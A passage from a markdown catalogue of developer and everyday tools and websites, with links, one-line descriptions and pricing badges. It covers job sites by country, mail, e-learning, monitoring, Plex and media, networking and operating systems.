[typensense](https://github.com/typesense/typesense) - Fast, typo-tolerant search engine for building delightful search experiences - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [yandex.ru](https://yandex.ru/images/) - The search engine can be used to reverse search for images as well - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## PAAS / SAAS Providers - [jelastic](https://jelastic.com/paas-cloud-hosting/) - [kuberlogic](https://kuberlogic.com/) - [lastbackend](https://lastbackend.com/) - [platform.sh](https://platform.sh) - [porter](https://github.com/porter-dev/porter) - [pulumi](https://www.pulumi.com/) - [spaceship](https://spaceship.run/) ## Remote Desktop _Always there for you_ - [guacamole](https://guacamole.apache.org/) - Remote desktop gateway. It supports standard protocols like VNC, RDP, and SSH. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Recruitment / Job searching / Interviews _Getting paid for following your passion is even more fun, isn't it?_ - [devops-exercises](https://github.com/bregman-arie/devops-exercises) - Questions and exercises on various technical topics, sometimes related to DevOps and SRE :) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [fullstack.cafe](https://www.fullstack.cafe/) - Kill Your Tech Interview. Full-Stack, Coding & System Design Interview Questions Answered To Get Your Next Six-Figure Job Offer. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [github-profile-readme-generator](https://github.com/rahuldkjain/github-profile-readme-generator) - Easy way to create a GitHub profile readme with the latest add-ons - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [honeypot](https://www.honeypot.io/) - :uk: / :de: / NL - Europe’s developer-focused job platform. - [Interview Map](https://github.com/InterviewMap/CS-Interview-Knowledge-Map/blob/master/README-EN.md) - This is a map that can help you to prepare for the next job interview - [microverse](https://www.microverse.org/) - Become a remote software developer, no matter where you're from. Learn with Microverse and connect to life-changing opportunities. Don’t pay anything until you get a job! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [stackoverflow - jobs](https://stackoverflow.com/jobs) - :uk: - [talent.io](https://www.talent.io/en/) - :uk: - Get the tech job you deserve. The simplest way to find full-time and contract tech positions in Europe - [test-your-sysadmin-skills](https://github.com/trimstray/test-your-sysadmin-skills) - This project contains 284 test questions and answers that can be used as a test your knowledge or during an interview/exam for position such as Linux (*nix) System Administrator. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [triplebyte](https://triplebyte.com/) - Showcase your tech skills and hear from top companies! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [tweetjobs](https://tweetjobs.dev/) - :uk: Find Latest Jobs from Twitter [justjoinit](https://justjoin.it/) - :uk: - Mainly for Poland but also has some job listings for neighbouring countries. ### Freelance - [xolo](https://www.xolo.io/zz-en) - Solution that handles bureaucracy from setting up the business to accounting- [![](https://img.shields.io/badge/pricing-commercial-orange)](#) ### Create a resume - [react-ultimate-resume](https://github.com/welovedevs/react-ultimate-resume) - A modern software developer resume built with React and JSONResume - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Reactive-Resume](https://github.com/AmruthPillai/Reactive-Resume) - Resume Builder That Respects Your Privacy - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [read.cv](https://read.cv/) - Mindful professional profiles - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [resumemaker](https://www.resumemaker.online/) - Helps you to make your resume online - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [universal-resume](https://github.com/WebPraktikos/universal-resume) - Minimal and formal résumé (CV) website template for print, mobile, and desktop. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Remote Work - [cosmopolify](https://cosmopolify.com/jobs/) - Work from anywhere - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [date-holidays](https://github.com/commenthol/date-holidays) - Worldwide holidays ready to be imported. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [housefor.work](https://housefor.work/) - Test internet connection - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [mondjo](https://www.mondjo.com/) - Remote Jobs for Business Professionals - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Remote Workers](https://remoteworkers.net) - Remote Jobs & Talent Network - [remoteleaf](https://remoteleaf.com/) - We search the entire internet and hand-pick thousands of remote jobs, so you don’t have to. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Remoteok](https://remoteok.io/) - :uk: Get a remote job you can do anywhere - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [weworkremotely](https://weworkremotely.com/) - :uk: - Largest remote work community in the world - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Housing - [nomadlist.com](https://nomadlist.com/europe) - Community of remote workers living around the world. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [nomador](https://www.nomador.com/) - House sitting. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Scoperty](https://scoperty.de/home) - Gives precise information about housing value for houses and flats in Germany :de: ### Canada - [neuvoo](https://neuvoo.ca/) - Focused on Canada ### Estonia - [cvkeskus](https://www.cvkeskus.ee/) - :uk: Focused on Estonia - [workinestonia](https://www.workinestonia.com/) - :uk: Focused on Estonia ### France - [meteojob](https://www.meteojob.com/) - :fr: - Focused on France - [Salaires en France](https://www.journaldunet.com/business/salaire/france/pays-fra) - :fr: - Salaries in France - [Are you rich or poor?](https://www.inegalites.fr/Salaire-etes-vous-riche-ou-pauvre) - :fr: - Compare your salary with the rest of the french population - [Simulateur salaire brut et net](https://droit-finances.commentcamarche.com/faq/83832-simulateur-salaire-brut-et-net-module-de-calcul) - :fr: Brut / Net calculator ### Finland - [helsinkibusinesshub](https://www.helsinkibusinesshub.fi/90-day-finn/) - Apply Now for a Free 90-Day Helsinki Relocation Package! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Germany - [brutto-netto-rechner](https://www.brutto-netto-rechner.info/) - :de: Brutto / Netto calculator - [German salary calculator](https://visualsm.art/gross-net-salary-calculator/) - :de: Gross to net salary calculator with tax and income break down charts. ### Iceland - [Visa](https://work.iceland.is/working/icelands-remote-work-long-term-visa) - Foreign nationals remotely working for foreign companies—or self-employed—are now eligible for a long-term visa. ### Malta - [Malta-for-nomads](https://nomad.residencymalta.gov.mt/malta-for-nomads/) - :uk: Residence Permit. ### New Zealand - [new-zealand](http://webrear.mbie.govt.nz/summary/new-zealand) - :uk: Interactive Regional Economic Activity map of New Zealand - [seek](https://www.seek.co.nz/) - :uk: Focused on New Zealand - [trademe](https://www.trademe.co.nz/jobs) - :uk: Focused on New Zealand - [workhere](https://www.workhere.co.nz/jobs) - :uk: Focused on New Zealand - [workingin-newzealand](http://www.workingin-newzealand.com/jobs/) - :uk: Focused on New Zealand ### Poland - [infopraca](https://www.infopraca.pl/) - Focused on Poland - [jobesto](https://jobesto.com/) - Focused on Poland - [neuvoo](https://neuvoo.pl/) - Focused on Poland - [nofluffjobs](https://nofluffjobs.com/) - :uk: Focused on Poland - [pracuj](https://www.pracuj.pl/) - Focused on Poland - [wynagrodzenia](https://wynagrodzenia.pl/kalkulator-wynagrodzen/wyniki) - Brutto / Netto calculator ## Robotic Process Automation (RPA) - [roro](https://github.com/arviedelgado/roro) - RPA Software for windows - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [TagUI](https://github.com/kelaberetiv/TagUI) - Command-line tool for digital process automation (RPA) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [taskt](https://github.com/saucepleez/taskt) - Build and design process automation without needing to write application code (for windows). - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## RSS / News aggregator - [fluent-reader](https://hyliu.me/fluent-reader/) - Local, cross-platform news aggregator with a fresh look. Bring all your favorite sources with you and read distraction-free. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [flusio](https://github.com/flusio/flusio) - Aggregate, save and share news links from all over the Web. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Lemmy](https://join-lemmy.org/) - Lemmy is similar to sites like Reddit, Lobste.rs, or Hacker News: you subscribe to communities you're interested in, post links and discussions, then vote and comment on them. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [reederapp](https://reederapp.com/) - your news reader for macOS and iOS - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [rssfs](https://github.com/dertuxmalwieder/rssfs) - Mount RSS feeds as file systems - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tt-rss](https://tt-rss.org/) - Web-based news feed (RSS/Atom) reader and aggregator - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Lamp Stack _Apache, MySQL, PHP_ - [Docker - Lamp](https://github.com/sprintcube/docker-compose-lamp) - A basic LAMP stack environment built using Docker Compose. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Mail _That relict of the past_ - [aerc](https://aerc-mail.org) - A terminal-based e-mail client for power users - [![](https://img.shields.io/badge/pricing-open--source-green)] - [complete IP Blacklist (BL) check for sending Mailservers](https://multirbl.valli.org/) - Free DNSBL (DNS BlackList aka RBL) lookup and FCrDNS (Forward Confirmed reverse DNS aka iprev) check tool. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [dnswl](https://www.dnswl.org/) - E-Mail Reputation – Protect against false positives. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [imapsync](https://imapsync.lamiral.info/) - An IMAP transfers tool. The purpose of imapsync is to migrate IMAP accounts or to backup IMAP accounts - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/imapsync/imapsync) - [Kanbanmail](https://kanbanmail.app/) - Kanban and email in one tool - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Mailspring](https://www.getmailspring.com/) - Great mail client for Mac, Linux, and Windows. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [mb2md](http://batleth.sapienti-sat.org/projects/mb2md/) - Helps converting Mbox mailboxes to Maildir format. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [meilindex](https://github.com/tryffel/meilindex) - Email indexing and extremely fast full-text-search with Meilisearch. Meilindex supports configuring stop-words, ranking and synonyms. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [offline imap](http://www.offlineimap.org/) - OfflineIMAP allows to dispose your mailbox(es) as a local Maildir(s). - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/OfflineIMAP/offlineimap) - [poste.io](https://poste.io/) - SMTP + IMAP + POP3 + Antispam + Antivirus +Web administration + Webmail...on your server in ~5 minutes [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [roundcube](https://roundcube.net/) - A browser-based multilingual IMAP client with an application-like user interface. It provides full functionality you expect from an email client, including MIME support, address book, folder manipulation, message searching and spell checking. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [signitic](https://www.signitic.com/) - Mail signatures managed centrally, consistent and brand aware. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [spf test](https://appmaildev.com/en/spf/) - SPF record checker - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Mailing _Spam Ham_ - [mail-tester](https://www.mail-tester.com/) - Test the Spammyness of your Emails - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [mjml](https://mjml.io/) - The only framework that makes responsive email easy - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/mjmlio/mjml) - [Spamassassin](https://spamassassin.apache.org/) - An anti-spam platform giving system administrators a filter to classify email and block spam (unsolicited bulk email). - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/apache/spamassassin) - [unsubscribe](https://github.com/vmagnin/unsubscribe) - Mass unsubscription of mailing lists - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Management Software - [hoteldruid](http://www.hoteldruid.com/) - Hotel management (property / booking management software) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [locanda](http://locanda.sourceforge.net/) - Booking and management system designed for small hotels, bed & breakfasts, farmhouses. It can be installed on-site, or used as a service. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Mobile Apps / iOS / Android - Authy - Fing - [F-Droid](https://f-droid.org/) - [Mark O'Travel: Where I've Been](https://apps.apple.com/us/app/mark-otravel-tvoa-karta-putesestvij/id866778149) - Keep track of the countries where you have been and where you would like to go next. - [Omninotes](https://omninotes.app/) - Note taking app on android - [Pl@ntNet](https://plantnet.org/en/) - Identify one plant from a picture, and be part of a citizen science project on plant biodiversity - [strong](https://www.strong.app/) - Best and easiest way to track your workouts. - [termux](https://termux.com/) - Android terminal emulator and Linux environment app (no root rights required) - [Time Cop](https://github.com/hamaluik/timecop) - A time tracking app that respects your privacy and gets the job done without getting too fancy. - Waze - [zeroinbox](https://zeroinbox.io/) - iPhone app made for zeroing your inbox ## Massive open online course (MOOC) / E-Learning / Exercises / Educational Games - [Algorithm visualizer](https://algorithm-visualizer.org/) - [class-central](https://www.class-central.com/) - [codecademy](https://www.codecademy.com/) - [codekingdoms](https://codekingdoms.com/) - Learn how to make your own Minecraft mods and Roblox games with Code Kingdoms. For ages 8-14. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [codingame](https://www.codingame.com) - The new way to improve your programming skills while having fun and getting noticed - [datacamp](https://www.datacamp.com/) - Learn Data Science Online - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [flexbox froggy](http://flexboxfroggy.com/) - [flukeout](https://flukeout.github.io/) - [freecodecamp](https://www.freecodecamp.org/) - Learn to code. Build projects. Earn certifications. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [getmimo](https://getmimo.com/) - App to learn coding (iOS and Android) - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [google digital garage](https://learndigital.withgoogle.com/digitalgarage) - Learn at your own pace, with flexible and personalised training courses designed to build your confidence and help you thrive. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [grasshopper](https://grasshopper.app/) - Coding app for beginners (Android, iOS, web) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [jshero](https://www.jshero.net/en/home.html) - Tutorial with interactive exercises for learning how to code in Javascript - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [jupiterbroadcasting](https://www.jupiterbroadcasting.com/) - "Shows" about technical stuff - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [learn git branching](https://learngitbranching.js.org/) - [learnxinyminutes](https://learnxinyminutes.com/) - Learn X in Y minutes - [linux academy](https://linuxacademy.com/) - Real skills for real-world application. Experience interactive courses in AWS, Google Cloud, and Azure and master the tools that shape technology. - [linux journey](https://linuxjourney.com/) - [magic of css](https://adamschwartz.co/magic-of-css/) - [Minecraft Hour of Code](https://studio.code.org/s/mc/) - Use blocks of code to take Steve or Alex on an adventure through this Minecraft world. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [OSSU](https://github.com/ossu/data-science) - [Pluralsight](https://www.pluralsight.com/partners/stack-overflow/iq) - [scratch](https://scratch.mit.edu/) - Free coding community for kids - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Secnumacademie](https://secnumacademie.gouv.fr/) - [serversforhackers](https://serversforhackers.com/) - Teaching the server tech you need for development and production. Eliminating the frustration of server configuration. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [sololearn](https://www.sololearn.com/) - Learn to code for free - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [SQLzoo](https://sqlzoo.net/) - [Subnetting practice](https://subnettingpractice.com/index.html) - [udemy](https://www.udemy.com/) ## Monitoring / Logs / Server Management _The true question should be: Quis custodiet ipsos custodes?_ - [bosun](https://bosun.org/) - Monitoring and alerting system by Stack Exchange - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/bosun-monitor/bosun) - [Cockpit](https://cockpit-project.org/) - Web-based interface for your servers - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/cockpit-project/cockpit) - [Beew](https://beew.io/) - The simplest way of scheduling HTTP requests. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [cronhub](https://cronhub.io/) - Cron Monitoring, Get instant alerts when any of your background jobs fail silently or run longer than expected. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [crontab](https://crontab.guru/) - Quick and simple editor for cron schedule expressions - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [dejavu](https://github.com/appbaseio/dejavu) - The Missing Web UI for Elasticsearch: Import, browse and edit data with rich filters and query views, create search UIs visually. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [ELK - elastic stack](https://www.elastic.co/products) - Search is foundational to a wide variety of experiences — from finding documents to monitoring infrastructure to protecting against security threats. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [era](https://era.co/) - Observability and analytics for log management at scale - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [fluentd](https://www.fluentd.org/) - Data collector for unified logging layer - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [glances](https://github.com/nicolargo/glances) - Monitoring tool which aims to present a large amount of information through a curses or Web based interface for GNU/Linux, BSD, Mac OS and Windows - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Grafana](https://grafana.com/) - Analytics and monitoring solution for every database - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/grafana/grafana) - [Graylog](https://www.graylog.org/) - Log Management For All it collects, enhances, stores, and analyzes log data. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/Graylog2/graylog2-server) - [Icinga](https://icinga.com/) - Monitors availability and performance, gives you simple access to relevant data and raises alerts to keep you in the loop. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/Icinga/icinga2) - [juju charms](https://jujucharms.com/how-it-works) - An application modelling tool that allows you to deploy, configure, scale and operate cloud infrastructures quickly and efficiently on public clouds such as AWS, GCE, and Azure along with private ones such as MAAS, OpenStack, and VSphere - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/juju/juju) - [LNAV](http://lnav.org/) - Log Analysis, An advanced log file viewer for the small-scale Watch and analyze your log files from a terminal. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/tstack/lnav) - [logrocket](https://logrocket.com/) - Replay what users do on your site. Helps you reproduce bugs and fix issues faster. - - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [monitoror](https://github.com/monitoror/monitoror) - Unified monitoring wallboard — Light, ergonomic and reliable monitoring for anything - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Munin](http://munin-monitoring.org/) - Resource monitoring tool that can help analyze resource trends and "what just happened to kill our performance?" problems - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/munin-monitoring/munin) - [Nagios](https://www.nagios.org/) - Nagios is a host/service/network monitoring program - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/NagiosEnterprises/nagioscore) - [netdata](https://github.com/firehol/netdata) - Real-time performance monitoring, done right! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [osquery](https://osquery.readthedocs.io/en/stable/) - Operating system instrumentation framework for Windows, OS X (macOS), Linux, and FreeBSD that exposes an operating system as a high-performance relational database. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Prometheus](https://prometheus.io/) - Monitoring system and time series database. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/prometheus/prometheus) - [prtg](https://www.paessler.com/prtg) - PRTG Network Monitor is an agentless network monitoring software (ICMP, SNMP, ...) - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [RPi-Monitor](https://github.com/XavierBerger/RPi-Monitor) - Perform real time monitoring embedded devices - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Sensu](https://sensu.io/) - Monitoring tool with built-in auto-discovery for ephemeral infrastructure and distributed applications. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/sensu/sensu-go) - [Smokeping](https://github.com/oetiker/SmokePing) - SmokePing is a latency logging and graphing and alerting system. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [SSH to influx](https://github.com/acouvreur/ssh-log-to-influx) - Sends SSH authentication logs to influxdb with geohashing IP - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Stacer](https://github.com/oguzhaninan/Stacer) - Linux System Optimizer and Monitoring - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Thruk](https://thruk.org/) - Webinterface for Naemon, Icinga, Shinken and Nagios [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/sni/Thruk) - [Uchiwa](https://uchiwa.io/) - Open source dashboard for Sensu. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/sensu/uchiwa) - [Uptime robot](https://uptimerobot.com/) - Downtime Happens. Get Notified! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [uptime-kuma](https://github.com/louislam/uptime-kuma) - A fancy self-hosted monitoring tool like "Uptime Robot". It includes Status Page, Ping Chart, ... - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Vector by Datadog](https://vector.dev/) - Tool for building observability pipelines. Collect, transform, and route all your logs and metrics with one simple tool. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### CRON Monitoring - [cronitor](https://cronitor.io/) - Instant alerts when your critical background jobs, websites & APIs fail. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [healthchecks](https://healthchecks.io/) - Simple and Effective Cron Job Monitoring - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Network Mapping - [lansweeper](https://www.lansweeper.com/) - Discover Your IT and build Your Centralized IT Asset Inventory - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [LetsMapYourNetwork](https://github.com/varchashva/LetsMapYourNetwork) - Helps mapping your network - [![](https://img.shields.io/badge/pricing-open--source-green)]() ## Movies / Films / Plex / Animes _Having your own private media? or wondering what do watch tonight?_ - [anidb](https://anidb.net/) - AniDB stands for Anime DataBase. We feature detailed information about all forms of CJK (Chinese, Japanese, and Korean) animation. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [astrofox](https://astrofox.io/) - Turn audio into amazing videos - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Emby](https://github.com/MediaBrowser/Emby) - personal media server with apps on just about every device - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [filebot](https://www.filebot.net/) - The ultimate tool for organizing and renaming your Movies, TV Shows and Anime as well as fetching subtitles and artwork. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [imdb](https://www.imdb.com/) - The internet movie Database - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [just watch](https://www.justwatch.com/) - All your streaming services in one app - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Kodi](https://kodi.tv/) - Media player application that is available for multiple operating-systems and hardware platforms. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/xbmc/xbmc) - [myanimelist](https://myanimelist.net/) - Large anime and manga community and database - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [mydramalist](https://mydramalist.com/) - MyDramaList.com is a community-based project which provides Asian drama & movie fans a site where they can create their very own drama watchlist. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [mythtv](https://www.mythtv.org/) - A digital video recorder (DVR) - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/MythTV/mythtv) - [Plex](https://plex.tv) - Plex brings together all the media that matters to you. Your personal collection will look beautiful alongside stellar streaming content. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [subsync](https://github.com/sc0ty/subsync) - Automatic movie subtitle synchronization tool. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [WatchSomething](https://pecko95.github.io/WatchSomething/) - No idea what to watch ? Find movies or tv shows to watch instantly, or store them in lists for later ! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Plex-related - [Auto-Collections](https://github.com/mza921/Plex-Auto-Collections) - Python 3 script to automatically update Plex collections based off a configuration file - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Export tools for Plex](https://github.com/ukdtom/ExportTools.bundle) - Export Plex Library to a csv, xlsx or m3u8 file - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [JBOPS](https://github.com/blacktwin/JBOPS) - Just a Bunch Of Plex Scripts - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Plex Requests](https://github.com/lokenx/plexrequests-meteor) - Plex Requests: Simple automated way for users to request new content for Plex - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [PlexRedirect](https://github.com/ITRav4/PlexRedirect) - A Plex landing page that redirects you to various sites. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [python-plexapi](https://github.com/pkkid/python-plexapi) - Python bindings for the Plex API. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Sub-Zero](https://github.com/pannal/Sub-Zero.bundle) - Subtitles for Plex, as good you would expect them to be. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Tautulli](https://github.com/Tautulli/Tautulli) - A Python based monitoring and tracking tool for Plex Media Server - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Music / Audio - [BackgroundMusic](https://github.com/kyleneideck/BackgroundMusic) - macOS audio utility - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Festify](https://festify.us/) - Festify lets your guests choose which music should be played using their smartphones (and spotify). - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [funkwhale](https://funkwhale.audio/en_GB) - Listen and share music and audio within a decentralised, open network - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [jqbx.fm/](https://www.jqbx.fm//) - Lets you play & listen to music in sync with friends or public groups. Works with spotify - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [musicbrainz picard](https://picard.musicbrainz.org/) - Music tagger written in Python. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Organize Your Music](http://organizeyourmusic.playlistmachinery.com/) - Organize your Spotify music collection by any of a wide range of musical attributes including genre, mood, decade of release and more. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Soundscape](https://github.com/soundscapecloud/soundscape) - a personal music streaming server - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Video Editing - [deface](https://github.com/ORB-HD/deface) - Command-line tool for automatic anonymization of faces in videos or photos (video anonymization) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Networking / DNS / Wifi ... - [Angry IP Scanner](https://github.com/angryip/ipscan) - Fast and friendly network scanner - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [apackets](https://apackets.com/) - Allows to read pcap file and analyze IPv4/IPv6, HTTP, Telnet, FTP, DNS, SSDP, WPA protocols, build map of network structure and nodes activity graph, sniff and analyze network traffic and other pcap data - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Auvik](https://www.auvik.com/msp-network-features/) - Tool to manage network infrastructure - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [bandwhich](https://github.com/imsnif/bandwhich) - CLI utility for displaying current network utilization (bandwith) by process, connection and remote IP/hostname - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [dig online](http://digwebinterface.com/) - Dig, but online - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Dns watch](https://dns.watch/) - No Censorship. No Bullshit. Just DNS. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [dns-trails](https://securitytrails.com/dns-trails) - The World's Largest Repository of historical DNS data - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [fast-cli](https://github.com/sindresorhus/fast-cli) - Test your download and upload speed using fast.com - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gns3](https://gns3.com/) - Build, Design and Test your network in a risk-free virtual environment and access the largest networking community to help. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [mtr](https://www.bitwizard.nl/mtr/) - mtr combines the functionality of the 'traceroute' and 'ping' programs in a single network diagnostic tool.- [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/traviscross/mtr) - [mxtoolbox](https://mxtoolbox.com/) - Very helpful website for diagnostics on DNS zones, mail settings, ... - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [netbox](https://github.com/netbox-community/netbox) - IP address management (IPAM) and data center infrastructure management (DCIM) tool. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [nmap](https://github.com/nmap/nmap) - Network Mapper - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [openmptcprouter](https://github.com/Ysurac/openmptcprouter) - Aggregate multiple internet connections using Multipath TCP (MPTCP) on OpenWrt - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [opnsense](https://opnsense.org/) - OPNsense is a FreeBSD-based firewall and routing software - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [phpipam](https://phpipam.net/) - Web IP address management application (IPAM) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [redirection](https://redirection.io/) - HTTP redirection manager (SEO) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [speedtest-cli](https://github.com/sivel/speedtest-cli) - Test your internet bandwidth via the cli. It uses speedtest.net - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [speedtest](https://www.speedtest.net/) - Test your internet connection's speed - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [spotipo](https://www.spotipo.com/) - Hotspot portal for your existing WiFi router. For using,you will need to have a router that supports Spotipo. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [whatsmydns](https://www.whatsmydns.net/) - DNS Propagation Checker - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [wifi-card](https://github.com/bndw/wifi-card) - Print a simple card with your WiFi login details. Tape it to the fridge, keep it in your wallet, etc. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [wtfismyip](https://github.com/wtfismyip/wtfismyip) - Helps to find out the IP used (IPv4 and IPv6) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Operating Systems / Virtualization _My toaster runs on Linux!_ - [9front](http://9front.org) - A modernized fork of Plan 9, the distributed operating system - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [aapanel](https://aapanel.com/) - source Hosting Control Panel (alternative to Plesk or Cpanel - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [kaosx](https://kaosx.us/) - A Lean KDE 